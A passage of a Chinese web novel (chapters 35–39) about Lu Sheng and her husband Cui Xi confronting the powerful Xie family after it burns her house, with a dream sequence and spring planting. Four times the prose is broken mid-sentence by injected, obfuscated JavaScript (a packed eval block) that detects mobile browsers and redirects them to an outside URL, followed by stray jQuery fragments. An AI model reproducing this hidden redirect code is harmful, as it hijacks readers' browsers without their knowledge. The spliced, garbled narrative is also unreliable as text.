陆笙看着这熟悉的大蛇说:“腾蛇,土人信奉它。” “阿木凌养的那条是……它吗?”崔息觉得眼熟。 “有点像,但长不到这么大。” 崔息又问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12890136|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她,那蛇语是真的存在吗?她真的能跟蛇讲话? “你得问阿木凌,她教我的,不过大部分时间挺好使的。其实土人木楼里家家都有一条蛇,传说是守护神。”陆笙拢一拢披袄略略解释。 又走几步,两个人看到一群人围着一座秋千,秋千架得很高,两边还挂了许多花鸟灯。 “诶,那是不是秦厌和阿木凌?”陆笙眨眨眼,觉得踩在秋千上的人很熟悉。 崔息也去看,但人很多,方松懈一点,陆笙就被人挤得直往他身上靠。陆笙带着些淡淡的草木味,崔息半阖眼不动声色地深闻一口,是枯木逢春。 “是吗?”陆笙以为他没看清,拉一拉他的袖子。 崔息反手握住她的手轻声说:“人太多了。” 陆笙听不清他在说什么,又突然有一堆人戴着面具从巷子里冲出来,仗着崔息不会放开自己,她直接带着他走,挤到秋千下。 秋千下看得分明,阿木凌和秦厌各左右手各抓住秋千绳,灯影赶不上他们的人影,陆笙看着看着忽然发现,两个人的手是牵着的。 嗯,太高了,安全重要。 “阿乐,我们该回去了。”崔息将她肩上的灯芯灰轻轻吹去后提醒她。 这是丰娘定的时间,说出去沾沾人气,她这样说是听了昂摩她们那儿的传说,那条奔腾的江水名曰共河,人去世以后魂灵从水下走遍人间,忘却前尘后化作灵光转回胎中。只是丰娘又怕她身体虚弱,所以让她半个时辰以后就回来。 “嗯,那就回吧。” 崔息看她恋恋不舍便哄她:“要不在府里也放一架秋千,等你身体如初后天天都可以玩。” “不了,我得种地。” 转出喧闹的人群,两个人靠着各家的灯笼往家去。 崔息忽然问:“阿乐,谢栖真你打算怎么处置?” “云尘知道了?只是能怎么处置呢?”陆笙想的是反正事办成了,就让她去吧。倒也不是她阿Q精神,而是如她字面所反问的“能怎么处置”。 谢家有良田、商铺,还明里暗里有官场的关系,县里的税收人家撑着,县令用什么法子办他?割弓弦的事唯一认证还是陆笙,当场没有抓获,现在不好办。 “随你所想。” 陆笙对他的回答感到惊讶。灵老师那句“视角有余”此时又冒出来,陆笙有时候也挺烦自己这颗记吃不记打的心的。 她怕崔息怒气昏头,认真把心中真实感受传达:“云尘,听闻你斩张二郎时请了国法,这事你又怎么用国法来办?于公暂时不好办她,于私,感觉就像烧火遇到湿柴,扔了就好,再来一次也是如此,兵来将挡水来土掩,人生不过如此。” “自有心证。”崔息四个字说得很重。 陆笙却忽然笑了,崔息有些不明所以。 “没事,只是想起一句话了。” “什么话?” “天凉了,谢家该倒了。” “……这是什么因果?”对因明学略有涉及的崔息愈发困惑。 陆笙拿手扰乱他的视线,让他别想这件事了,明天有事请他办,说完混不吝的性子又浮现,陆笙钓他话:“云尘,若真要办你自己怎么不办,反倒来问我了。” “不,不可如此!”崔息否定得很果断,但是问他理由,他却不说了。 36. 第 36 章 气温回升的消息在枯草之下,陆笙在自己不小心踢开的草堆里看到了青青的草色,第一念是觉得分外欣喜,第二念则是赶紧盖上。水道盛夏可通船这件事还是像做梦,因为陆笙带着杨珞云跟丰娘出去走了一圈,觉得一切依旧如常,根本没有太多变化,但转念一想,估计也是看不到,草色尚在棕色腐草之下,更何况永平县里的情况呢? 回去的时候崔息已经在家,他穿着绿袍官服在尚且萧瑟的满是枯败意象的庭院里打转。当陆笙越过雕了兰草照壁,他立刻大步迎了上来,面上带着喜色。 丰娘轻轻拉一拉杨珞云的袖子,两个人默契地退下。 “阿乐,不知昨日所求何事?”崔息面色诚恳地问她。 “求云尘为我写几个字,我那木屋建成至今还没有名字。” 陆笙想给它起个名字,有了名字能念出来,声音落在天地之间便好像赋予了木屋以归属,而木屋又是陆笙此时的家,念出它的名字,就是重复“家”的感觉。 崔息欣然允诺,又问她有没有吃午食。 “吃了,丰娘、珞云和我一起吃的,今天吃的是奶汤莫猜鱼、羊肉饭和菌菇煎鸭脯,那奶汤简直胡来,汤根本不够白,想来是煎鱼的时候油没放够,火也不大。嗯,菌菇味道也一般,鸭脯有股子不新鲜的异味……”陆笙掰着手指头细数这顿饭的不是,数得差不多时才意识到崔息问她有没有吃是什么意思。 “云尘……没在公廨吃饭?” 崔息点点头,虽然腹内饥饿,但面上还是维持着平淡神色,只是这份平淡里陆笙竟然看出了一点子期待?是期待自己的菜还是期待和自己一起吃饭呢? 陆笙有些疑惑,不过这疑惑立刻消了。因为崔息说“去你屋里说,外面冷小心着凉。差人买碗馄饨在你那吃,可否?” 原来只是自己的错觉,崔息只是饿,陆笙便说“来吧。” 反正那牌匾的字还是要他写的,陆笙心里已经打定了注意,她要崔息为她写草,最好让人一瞧见就知道这屋子的主人是个夏日台风似得性子。 崔息听了全然同意,但于心底他却不觉得陆笙有她自己讲得那么“疯”,她是个克己的人,有时候克己太过,叫人心疼。 两个人一起来到木屋里,今天屋里有了新变化,床榻不见了,取而代之的是一张高桌和两条长板凳,桌子足有两米长,能堆下许多的书卷,甚至可以偷偷去躺一躺。 本来陆笙是想画太师椅叫人做的,可永平县哪有这样的工艺?只好退而求其次。倒是杨珞云看了陆笙的图与详细的描述说自己或许自己可以出一套精确的数字,等何时娘子去州府就可以定做。 崔息问她:“以后还要改些什么?” “找木匠来做隔断,或者托云尘画大屏,一笔一顿饭,如何?”陆笙知道他润笔费不便宜,提出个狡黠的以饭换画的法子。 “阿乐之事自当尽心竭力,不知今日要写哪些字?屋子的名起好了么?” 陆笙听他问起名字倒有些不好意思,名字当然起好了,起了三个大字:退休居。 “退休居?” “不好?” “不,甚好。有一位司空先生曾言退休便是养生方[1],急流勇退与韬光养晦都是难以达到的中止。”崔息说得很郑重,一点也不像在瞎说。 陆笙听自己歪打正着有点哑然,果然啊,退于山林与进取朝堂,是千年来士大夫的难题与共鸣话题,崔息此时也是在这个时刻吧,又或许更复杂一点。 但自己想得特别简单,就是“退休”,就是“不干了”! 陆笙正头脑风暴,秦厌又从门后面冒出来,像初夏阵雨后的菌菇似得。今天他手里拿着一封带着泥封的信件,两块木板夹着,大概是什么重要事。 “我退避一下?” “别别别,笙姐姐,这是给你的。”秦厌立刻摆手。 “给我?”陆笙惊讶,自己这小镖师还能有这待遇,这明显是官方使用的邮递方式,怎么会是给自己的。 “那我……”崔息也准备说刚才陆笙的那句话,不过很快被陆笙打断说“不必”。 陆笙拿着信件翻来覆去看了一遍,实在想不出谁会给自己寄这样的信,她将封泥成两半,两块板拿开,发现里面是一封信和一张飞钱。 “阮清淮佩了鱼袋,有驿站为其传信不奇怪,又不知夫人要如何处置?”崔息看到信上名字,拿起杯子轻啜一口茶水,语气有些冷淡。 陆笙发现他又重拾起了“夫人”这个词,哦,秦厌在呢。 “留着呗,这钱不拿白不拿,到时候走投无路还算个后路。”陆笙对阮清淮的心思也摸不准,甚至这信她都不想看,不过这钱来都来了,收。 秦厌还是杵在那里,陆笙问:“怎么了?遇上什么事儿了吗?” “也没有。”秦厌两只手张开紧握了几次。 崔息疑惑地看了他一眼,他今天怎么回事,事情禀报完了也不离开。 看到公子赶人的眼神,秦厌眼睛往上瞟,假装没看到。 陆笙逼他一手:“那我去问阿木凌咯。” “别别别,我说,我说!阿木凌说她和她阿娘要去州府当织工,我怕山路不好走,想送她们一程。”秦厌两手交叠成拳握在胸前。 这事阿木凌已经跟陆笙说过,她们在这里并没有土地也不会耕作,但这里织工又没有吃饭的位子只好去州府。陆笙把自己走镖接过布料的店都一一默写给她们,希望这对母女好运,她也对阿木凌许诺,明年一定会让她们留在永平县,即便她们失去了大山的庇护,还是有亲友的,每年土人的盛大节日也都会再次团聚。 崔息没有多问,点头允下,这对土人母女离开的原因他稍加猜测便有了答案,这件事也是永平县目前的结症。 秦厌看到公子允下,人欢快地要开花,大声说了谢便飞快跑出去。 丰娘带着阿灵将放在食盒里的馄饨拿给崔息,丰娘劝他:“阿郎,吃这些顶什么饱,你瞧你,最近都瘦了,小娘子们可都喜欢结实有力的郎君!” “丰娘,让他先吃吧,公务繁忙还没吃呢。” “还是娘子会疼人。”丰娘满意地离开,阿灵走在沈管事后面偷笑。 陆笙支着下巴看崔息吃馄饨,热气腾腾里他捏着勺子,一口半个,细细咀嚼。她喜欢看崔息微微低头的模样,他的眼睛看不到自己,自己却能肆意打量他。 第五个馄饨吃完,崔息忽然把头抬起来,陆笙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“云尘会弹七弦琴么?”陆笙想到丰娘跟她说过关于崔息的本事,说他会的很多,在一众贵族子弟中也是一骑绝尘。尤其是七弦琴,多少人为他的《流水》倾倒。 崔息笑得有些自得,陆笙第一次见他这样的笑,依稀可见从前疏狂,老皇帝叫他去当探花,在众人面前跑一跑也变得可以理解。 “那请你为我奏一曲。” “夫人想听什么曲子?” “那便奏一首《流水》。” 崔息从墙上将自己的琴取下,为陆笙调琴,青色檀烟模糊了他的面孔,乐声潺潺,指法之下是失去了时间与空间的永恒山水。 陆笙不懂曲子,但某些片刻里,他太像自己在少女时想象出来的某种人。陆笙偷偷擦一擦眼泪,像一个孤独漂泊的旅客恍若与故乡的从前再相逢,明明蜃楼一般,也明知是假还是忍不住往前走了两步。陆笙擦泪的时候又疑惑,难道自己还没有融入这里吗?她真是不合时宜冒出来的人间鬼。 崔息没有停止演奏,但他为陆笙神情而惊讶,明明虚离地望着自己却红了眼睛,她泪水如流水。他心里震荡,以至于一首《流水》居然弹错了两处。 这时秦厌正往阿木凌那赶,他租了一辆宽阔牢固的大马车,足够装得下她们母女的所有东西,只是赶车时候他总觉得有人在盯着他。 这种直觉不会有错,秦厌一只手驾车,一只手垂着,身体微微往后靠摆出松弛的模样,若是有人这时候不怀好意靠近,他的刀会开出一条路。 37. 第 37 章 艳色钿、斜红妆,联珠纹花衣,一条泥金帔掖在腰裙绕过双肩垂在臂侧。 这是谢栖真今日的妆服。 跟在她身后的婢子将头低得比平时还要下,因为今日是族里紧急之会,为的是判一个行事出格之人。 天气已经不似隆冬时那么严寒,谢家人都聚在春明轩里,为首的是谢家最年长威望也最重的谢莘,他已年过古稀,是最早随军来永平县的开矿的那批人。 谢莘端着谢林奉的茶,面色凝重。 忽然一抹花色随风而入,环坐在前的谢家长辈们定睛一看,原是那狂妄至极的谢栖真。 日光一束束落进来,熏香烟雾四处飘散,绮丽或明或暗。 “谢栖真,你可知错!”一位与谢林同辈的男子伸手叉腰,横眉怒视。 谢栖真紧抿双唇不说话,她觉得自己没有错,但如此大的阵仗还是让她有些颤抖,于是她掐住自己的手臂开口:“不知。” 谢林在旁边有些发冷汗,谢家女如何一个顶一个得跋扈嚣张,原先自己怎么没发觉? “你遣人烧了那县令夫人的老宅,这不是将我谢家与崔县令置于敌对了么?水道还未通,隹氏又在虎视眈眈,你此时动手,真如蠢猪!” 女儿被如此奚落谩骂谢林自然是不好受的,可是谢栖真出格在前,他也不好包庇,谁能想到她去烧了那大胡子西域人的屋子,就算她再厌恶那女镖师也不该如此行事。 谢栖真看着长辈愤怒的面目忽然微笑,继而大笑,然后笑声立刻一收,只剩一嘴尖牙对着大家。 “二伯,水中石将破的那天你们在做什么?是我割断了那野种的弓弦,那时你们又是如何夸赞的?行事自然有成败,割她弓弦在先,那时她与谢家已有大仇,难道要自欺欺人当做无事发生?自然应当是再下一手,打得她还手也不敢。人善被人欺,我谢家自祖父来此地开荒拓地,难道是靠让出来的么?” “那大胡子捡来的野种自然不足为惧,可她已与崔县令成婚!” “二伯,何谓投石问路你可知晓?”谢栖真冷笑一声。 “你!”谢栖真口中这位二伯据说年轻时不学无术,字都是认不全的,这么被谢栖真说他脸已通红,原来只是想教训这个小辈,现在已经是恼羞成怒。 只是不知为何,屋内的气氛在谢栖真口出狂言以后微微有了些变化。 “所谓投石问路就是灭她这个野种的气焰,探得崔县令的虚实。若崔县令大发雷霆,以后行事就稍避那野种,若县令无动于衷那我谢家可下的手不就有多了么?再说了,钱我也已经差人赔了,谁能证明是我动的手,只是谢家下人罢了,一旦问罪差个由头把人推出去就好,那崔县令又哪敢真动我谢家,反倒要怵我们三分。” 谢栖真停顿一下,年轻的面庞微微上昂,接受谢家长辈的打量后继续说。 “县令不过任四年而已,不夸我一石二鸟也就罢了,竟还要问我的罪,真不知二伯是不是窝在这永平县久了,都不记得我们谢家是如何闯出来的了!”谢栖真一字一句说得响亮,她本就无错,真不知这帮长辈是昏聩了,还是窝居已久失了野心。 “谢栖真,明明有更好的震慑之法,你为何如此乖张?真是失了中正平和之道。”三伯自诩是个读书人。 “三伯,你既有更好的法子,不如你说出来听听?” “你!” “恐怕是没有吧?!”谢栖真不放过他。 谢莘咳嗽一声,所有人立刻噤声,老爷子手里捏着谢家近一半钱财,听说还有上京的路子,谁敢违抗。尤其是他年事已高,此时违抗,铜板还要不要了? 大家各怀野心,但都表现恭顺。 “谢家丫头,你行事乖张不合礼法迟早是要吃亏的,老头子我年纪大了,早已失了进取之心,下次这事就不必再叫我了。” 众人愕然,谢老爷子这是不打算追究谢栖真的错么? 谢栖真立刻行下大礼说:“儿愿受责罚,为谢家谋取是真,不合礼法也是真,凭老爷子惩处。” “呵。”谢莘忽然笑一声,睁开快要被皱纹掩埋的眼睛看着谢林这大女儿,他忽然问谢林:“你那野种呢?” 众人眼神齐齐落在他身上,谢栖真也看着自己的父亲。 谢林的脸赤白交加,最后如实回禀:“已断了关系,不知在何处。” “嗯,做得不错。你家有这顽劣儿已足够了。好,年老体衰支持不住,顽劣儿,来,扶我一把。” “是!”谢栖真心中大喜,自己赌对了。 如今的永平县已经有了变势,不再是从前,求变才是唯一解法,这种天高皇帝远的地方,就该压县令一头。 她听闻谢家曾经早对铜矿以后有过规划,只可惜水道堵下,一切法子都化作云烟。 谢栖真扶着谢老爷子,心里默默感谢灵琅,没有她,便没有今日的自己。 - 崔息急匆匆赶回家的时候陆笙正在退休居里试她新制的生铁挂钩,这挂钩可以烤鸡和吊鸭,也是陆笙画了不太精确的图纸然后杨珞云落实的。 “云尘?怎么这么慌张?” 陆笙把买来的鸡转一个面,再拿板子将炉口封上,转过来的那一面已经有了金黄的颜色,加上飘散在空气里的香味,陆笙有点等不及吃这个试验品。 “阿乐,你……”崔息以为她还不知道自己家被烧毁的事。 陆笙极在乎家,崔息知道的,这样子只能说明她不知道,可桌子上又摆着一把满是灰烬的长刀。 “哦,你是想说谢家人把我家烧了这件事吧?”陆笙左右调整了一下盖子,边调边问。 “是,阿乐准备如何处置?”崔息已经决定,如果陆笙再不追究,他就要替她追究,去年他们握手一起度过的熊袭案已经赋予了些他操作的眉目。 “那当然要打回去,圣人都以直报怨,我难不成还要伸另一边脸给人家打?” “之前那谢栖真割了你的弓弦,阿乐那时为何不以直报怨?” 陆笙头歪一歪,似在回想,片刻后她答:“她割弓弦的目的是破坏公家炸石,是想一家独大,可能只是正好选了我。 崔息一时不知怎么说,她万事都分得太清楚,将自己也摘出了明明事关自己安危的事情里。 “可是她烧了你的家,夫人。” “是,她烧我家的屋子就是欺软怕硬,若她真敢,有本事烧了这县令府邸,所以这就是私仇了。这种事我们江湖上有江湖上的规矩,以牙还牙,以眼还眼,。” 陆笙看到崔息比自己还生气就问他:“儒家弟子说‘家’,敢问云臣,何为家?茅屋一间是家么?有名义上的双亲便是家么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915811|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>崔息沉默,若在以前他又确切的答案,可现在,他只能沉默。 一切礼法在心里如过火焰,其中一些东西化作了烟。 “对不起。” 陆笙没有想到崔息会对自己这样说。 “我把你也变作了身不由己的人。”如果不是选择她成婚,就不会有这样的事,甚至如果有这样的事,她不必顾着自己的名声。 “云尘……”陆笙很难在这个时候说他把自己看得太重这句话,因为自己也一样。把自己看得太重,太过极致后便会陷入道德泥沼。 又说什么身不由己,无所凭借生存天地只是庄生所构想期待的至臻境界,人生天地大多都是身如浮萍。 “阮清淮跟我说阿乐不喜人干涉,我……我到底该为你做点什么……” 崔息想到阮清淮对自己的冷笑,笑他永远也不会懂陆笙真正要的是什么东西,陆笙的人生里甚至可以不需要自己。 陆笙将崔息的手紧握,崔息抬头看到她笑得意气风发。 她问:“大人,谢家已成虎狼之势,我有驱虎逐狼之计,大人可愿一听?” 崔息被她捉手来到桌前是二人对坐,开始讲永平县。 陆笙说:“想治谢家独大,一手遮天,目无法纪这件事得从根本上治。” 她又将永平县比作一块饼。若饼只有手掌这么大,那谢家已分其中小半,那有什么办法可以将谢家的势力削弱呢? 一是将饼变大,这也暗含发展之理。 二是将外边的商人吸引过来,有竞争自然就不会一家独大。 现在永平已无矿可挖,若要将饼变大就需要有什么新东西可以卖出去,同时也得有足够的粮食让别地的人住进来。 崔息听陆笙这么说,简直要拍桌,这与他想得简直一模一样。 “永平县位置特殊,曾经有南边的货靠这运输,可惜路不便,太窄。”崔息看过文书,里面有这样的记载。 陆笙当然知道这件事,可惜上任县令不肯修路,不然老庄的镖局怎么可能只有这么点大,养不起人,很多次都是临时雇人。 “还是得家家有储粮才好。”崔息皱着眉提到关键处。 永平县“不患寡而患不均”的问题一直有,但这是在县城周围,县城以外是寡却均,有些钱财的已经搬走,无心无力的才留了下来,以至于有些村内还是吃得野生稻子,南边的土人村落就更不知是何种情况。 “我对田事略懂一二,今年让我先试上一试,再取一二村落试验。至于如何将饼做大一些,或可推广丝织、制药、酿酒等,如今南北的商路还没真正畅通,但谢家必有门路,我们也应早做准备。” 崔息点头,又在沉思良久后忽然问了一句有些异想天开的话。 “夫人,将县城往东挪三十里如何?” 陆笙没有回答,这事虽好,但八字都写不出一撇,甚至墨水都不知道从哪来。这是何等大的工程啊,尤其是对于永平县这样的穷地方来说。 陆笙想得认真,鼻尖却嗅到一股焦糊味。 坏了,鸡糊了! 陆笙急匆匆去救,但烤鸡一面焦黑,但换个思路,这鸡还能吃一大半,不错了!崔息在此跟着沾了些光,只是吃完陆笙觉得有些困倦,下水和射箭这番折腾以后她总容易疲累,或许应当唤张远清大夫来看看。 38. 第 38 章 “小笙,起来啦。”外婆轻轻推陆笙。 这是陆笙五年级的暑假,昨天晚饭的时候陆笙拍着胸脯说要帮外婆一把,她已经长大啦。 “外婆,还早哦,鸡都没有叫。”陆笙揉搓一下眼睛,睁开一条细细的缝,但是太困,眼皮不停耷拉下来,她的黑色眼珠就这么时隐时现,外婆的身影也是。 “喏,你闻,这是什么?” 陆笙听外婆这么说,脖子用力抬一抬,有一股甜香从鼻尖飘过。 “豆浆,嗯……还有甜大饼。”陆笙被食物的香气引诱,挣扎着从床上下来坐到堂屋里的八仙桌前。这张桌子据说很老了,是外婆的外婆用过的,岁月遮盖了木头原本的颜色,赋予它如漆的光亮。 浓郁的豆浆味飘满了整屋,这是村里老江家现磨的豆浆,用的都是滚圆的黄豆,耐心浸泡一晚上,再细细地磨。陆笙爱喝豆浆甚于牛奶,同样都是乳白色的饮品,豆浆带着一股莫名的安心与熟悉。 或许是她也曾参与过毛豆的采摘,还被黄中带绿,一条蓝带贯穿前后的刺毛虫狠狠扎过几次。 所以陆笙明白豆子来之不易,于是喝的时候也更容易起爱惜之心。 “小笙,今朝要去锄水田的草,喝完我们就要出发啦。”外婆已经穿好了套鞋,农具昨天就已经摆在门外。 “怎么这么早?现在才四点半诶。”陆笙两只手捧着比自己脸还大的白碗,咕咚咕咚喝了三大口,碗壁上刻的“花”字已显露一个草字头。 外婆哈哈笑。“等到八九点钟怎么好去干活,干到十点钟就不行啦,太热了。青年人是八九点钟的太阳,你想想,那得多热烈?” 陆笙挠挠头,好像是的,等到八九点钟那可了不得,夏天简直不能走了,水面也是滚烫的。 于是在迷迷瞪瞪里,陆笙戴着大斗笠背着人丹就和外婆一块出门了。出门走过几座青石板桥,早晨的风很凉快,带着点植物香味穿过。 河边的柳树现在不太显眼了,夏天的时候到处都是绿色,不像春天,万物还在积蓄生机的时候它已经有些隐约绿意。 “来来来,当心哦!”外婆提醒她。 陆笙眨眨眼,原来是要走泥垄了,这几天太阳大,泥垄不算难走。她们一路走,一路歇在附近的青蛙就扑通扑通地入水,陆笙觉得好玩,偶尔蹦一下试图惊吓附近更多的青蛙。 “花嫂,来锄草啦?” 陆笙听见有人和外婆打招呼,她歪头看,也是个戴斗笠的奶奶。 “是呀,我还带了小笙。” “哦呦,乖囡囡,陪阿婆来做活。” 陆笙有点不好意思地把头低下。 “来,外婆下田,小笙先看着东西,等到了那边再接你下来拔草。”外婆跨入水中,波纹荡漾开,但日光还没出现,就像走镖出发时的那样。 陆笙抓抓耳朵,什么走镖?是看昨天的镖局戏看多了吗? 正当她疑惑时,忽然脚背上有凉凉的东西,低头一看,原来是一只绿色的小青蛙。它的脚蹼和眼睛大大的,和陆笙对视一眼以后就跳走了。 那天到最后外婆都没有让陆笙下水,她们甚至被提前喊走了,因为陆笙的父母过来接她。 “阿乐,来,妈妈抱抱。” 陆笙看着眼前的女人,烫着卷发,戴着金手镯,指甲是红色的,嘴唇也红得可怕,她缩在外婆身后不动作。 “来,阿乐,给你买了好吃的炸鸡。” 穿着西装的男人把一个塑料袋在她面前晃了晃,陆笙被香味吸引,看了看外婆。 “去吧,去吃。”外婆推她过去。 吃着吃着,陆笙就被带到了一辆小汽车上,她第一次坐这样的交通工具,原先都是和外婆一起坐船的。 可是当车门合上,发动机像怪兽一样吼叫时陆笙慌了,一把鼻涕一把眼泪地要找外婆,她感觉自己就像鱼离开了水一样难受。 但是哭得累了她也没有被放回去,女人拍着她的背给她讲故事,给她讲王阳明格竹子的故事,穿西装的男人坐在前面笑说小孩子怎么懂这个故事,怎么懂圣人是什么,换个小蝌蚪找妈妈吧。 陆笙觉得男人小瞧自己,还没来得及想到相似处,车子就开始上高速的转弯路。女人骂男人不提醒,男人只是干笑,陆笙歪倒着撞上了车内把手。 她捂住自己的头,好疼,睁眼时看到一手的鲜红,是血。 “你算什么东西,读个屁的哲学专业,不如好好找个工作拿你的论文是给你面子,你说你要多少钱,啊,说话啊!” 对方的脸极其模糊,陆笙的眼皮覆盖着血睁不开。她不明白凭什么,凭什么拿了自己的论文还如此嚣张,她一定会去检举这个败类。 “陆笙,我带你去看医生。”是灵老师的声音,她扶着自己走出去,但陆笙此刻就像点了火的炸药。 她甩开灵琅的手崩溃问:“是你把我的论文给他的,老师,亏我还叫你一声老师!” “你说过检举他会跟说的。” 陆笙不理解,为什么,这话不能当面讲吗? “陆笙,你应该相信我,我不会害你,你现在也只能相信我,否则就没有书读。” 一时间天旋地转,陆笙摇摇晃晃地砸在地上。 再睁开眼,是老庄在擦一把生锈的刀。自己躺在绿树影下的草席上,阳光斑斑点点得随风跳跃,老庄在亮得刺眼的阳光里对她哈哈笑。 这把刀是陆笙被人讹上后,那人要她花天价买的,当时老庄摆摆手说江湖把戏罢了,马上就给她解决。 “老庄?” 陆笙喊出口耳边幽幽回荡着自己的声音,如此真切,以至于叫醒了自己。 原来是做梦,这么一串长梦真是累得她浑身酸痛,下次再不趴着睡了。陆笙捂着突跳的太阳穴平复梦中汹涌的情绪,一只手伸过来,帮她拂去眼角尚热的泪水。 陆笙反应迅速,直接将手用力反扣。 “怎么了?”崔息忍着疼问,他更关心为什么陆笙梦中情绪激动,她从不曾如此。 陆笙赶紧放开他的手,崔息站直想安慰却被陆笙一把抱住。 崔息不问缘由,将她揽在怀抱里,她的发间还有潮热,崔息用手指轻轻拨开,他忽然发现,自己的手居然在颤抖,他害怕也无措。 陆笙靠在他肩上说:“云尘,睡觉之前让我抱一会儿。” 今天是崔息七日一休的第一夜。他考究得沐浴后才过来,身上还留着桂花胰子的淡淡香味。 “做噩梦了?要吃些安神汤药么?” “不用。”陆笙情绪翻涌,又将崔息箍得紧了一些,害怕失去忘却那转醒一瞬的悟。 或许来到这里以后自己一直都把事情弄错了。 现代时为何要种地?是因为她要感受与投入,将自己置身于疑惑之间,去付出去了解,自己那没有完全落地的种地知识不只是为了收获,也是为了解惑。 陶渊明、卢梭种得“草盛豆苗稀”,自己也可试试。 但自己到这个世界以后却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930742|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄错了,完全弄错了!以至于她无法投入,甚至快要消解自我,她无法爱与恨,这是错!这完全是背道而驰! 陆笙的大脑飞速旋转,眼泪又流下来,是欢喜的泪水。 “明白了”这种感觉再次击中她。 自己的镖师生涯是脱离人群的,老庄又有意识为自己抵挡了许多,在茫然之中她抓住的只有种田,可是却忘记了自己为什么要去向土地学习,从土地获取。她要放弃所有语言的诡辩,用自己的眼睛和感情去生活。 其实这些前世还没有答案,她穿越后又防御性地搬出了种田之前在大学里习得那一套象牙塔视角再次将自己武装,现在她要让这些都滚开。 她应当去体会自己真实的爱与恨,同时也承受代价。 自己不需要提醒自己在何处,快二十年也应该断了妄想,这里就是她真实存在的世界。冰冷的河水还有燃烧的火焰,都是真的。 至于对那帮姓谢的,什么公与私,是的,虽然她确实能分清,但不再是冷峻地划分,而是你烧了我屋子,好那不管是你的金屋银屋,我也会想办法给它拆了。 按照谢家的逻辑,只要我给你足够的补偿,你的屋子我想拆就拆,陆笙其实根本不能容忍,这种逻辑她要见一次拆一次,恨不得连根拔起,这就是她真实的恨。 至于真实的欢喜,陆笙要对自己坦白,她会因为崔息而欢喜,如初春遥看可见的朦胧草色。 是爱吗?陆笙不太自信,因为她也时常忽略崔息。 但是她不打算辨明,还没有到那样极致的时刻,或许是短视的,但也是经验的。她需要真实的东西填补那些枯坐桌案的岁月,填补虚构的世界。 陆笙紧紧抱住崔息,她现在需要温暖的依偎,她自己实在太冷了,自己都不在乎的人实在太冷了,不要做这样的人。 崔息自始至终没有说话,与她默契地沉默,又紧紧地相拥。 - 第二日清晨,陆笙起来时睡在楼下的崔息已经离开,她掀开被子,沿着梯子爬下去的时候想起自己从家的灰烬里捡来的那把刀。 探头一看,那刀还是放在桌上,沾满了黑色的灰烬。 这把刀就是自己被人讹上后老庄花大价钱买的刀。一开始陆笙并不知道老庄花了很多钱,以为他真的一下就解决了,感受到家里的紧衣缩食才后知后觉。 陆笙一点也不觉得老庄窝囊,只是内疚自己没有尽早发现这是一场骗局。那些在象牙塔里的尖锐一进入生活里就似乎溶解了,她认真地听别人说话,最后却认真地挨了骗。 她再次握住这刀,它浑身发黑,看不清面貌。 捏住它几乎被烧尽的木柄,陆笙用蘸了河沙的麻绳去搓,这本事远古时代先民解玉的手段,如今被陆笙用来洗黑烬。 洗的时候陆笙在想屋子是从哪里开始着火的呢?那些石头与青苔也是可惜,她越过了几百条溪流,从各个水道的神经末梢将它们捡回来,现在都付之一炬在黑色灰烬里,等什么时候下雨再去灰里摸一摸吧。 “嘶”陆笙觉得手上一痛。 抬起手一看,居然被割伤了,可这把明明是生锈的刀。 陆笙用手掬水浇在刀身,黑灰随水流下,刀身折射出锐利的光芒。陆笙惊讶,难道那卖刀的没骗人?不,那绝对是一场碰瓷骗局。 正当她不解之时,杨珞云回来了,她拿着书册与木盒。 陆笙看到刀也不洗了,立刻迎上去,杨珞云手里提的可是种子,今年春播的种子! 39. 第 39 章 “夫人,种子来了。”杨珞云笑着走来,在县令府做事气通人和,心情舒畅得很。 一走近却发现陆笙伤了手。 “我有伤药,夫人快快随我进去。” 陆笙舀一瓢水将灰烬冲刷,随她走到退休居里头,她想起什么似得鼻翼动了动,屋里并没有檀香味,难道说自己真有安神的作用? 胡思乱想时杨珞云将康健的那只手放到病手处,病手的手臂不能动,但手指可以解开袖袋。 “夫人,这黄纸包的就是止血药。” 陆笙从她吊着臂那只手上接过药,打开对角一叠然后往伤口撒,边撒边说:“改天我叫人给你做个包如何?或者给你改个蹀躞带,上面挂东西。” “不,夫人不必麻烦。”杨珞云受宠若惊,先前她说不愿住在县令府邸陆笙也坦然同意为她找了住所,如今怎么还好麻烦夫人。 “这有什么麻烦的,你帮我才多呢!” 药撒在伤口上,血果然不出了,陆笙撕了一块布条准备绑上,免得药粉散落。 